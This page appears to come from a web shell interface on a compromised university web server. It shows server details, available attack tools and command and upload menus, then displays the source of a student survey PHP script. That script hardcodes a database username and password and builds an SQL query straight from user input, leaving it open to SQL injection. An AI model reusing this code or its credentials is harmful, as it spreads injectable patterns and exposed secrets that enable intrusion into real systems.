Server IP : 172.16.15.8 / Your IP : 18.119.167.189 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/tasantos/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- File Name: finaltotal.php --> <TITLE> Search Results </TITLE> <center> <BODY background = "http://bob.pinkmirrors.com/wallpapers/squares.png"> <FONT size=4 color=330099> <?php $Search = $_POST['Search']; $server = 'localhost'; $user = 'tasantos'; $pass = 'cs480'; $mydb = 'tasantos'; $table_name = 'Survey'; print "<font size=5 face=arial color=330099>"; print "<b>Total accumulation for course $Search in the <br> $table_name Database</font><br><br><hr><br></b> "; $connect = mysql_connect($server, $user, $pass); if( !$connect ) { die ("Can't connect to $server using $user"); } else { $SQLcmd = "SELECT sum(question1), sum(question2), sum(question3), sum(question4), sum(question5) FROM $table_name where (course= '$Search' )"; //echo "The query is <i>$SQLcmd<p>"; MYSQL_select_db($mydb); $results_id = mysql_query ( $SQLcmd, $connect); if($results_id) { print "<table border=1>"; print "<th>Question 1<th>Question 2<th>Question 3<th>Question 4<th>Question 5"; while($row=mysql_fetch_row($results_id)) { print "<tr>"; foreach ($row as $field) print "<td>$field</td>"; print "</tr>"; } } else echo ( "Search failed"); mysql_close($connect); } ?> </table><br><br><br> <A HREF="final.html">Back to Homepage</A> </BODY> </center>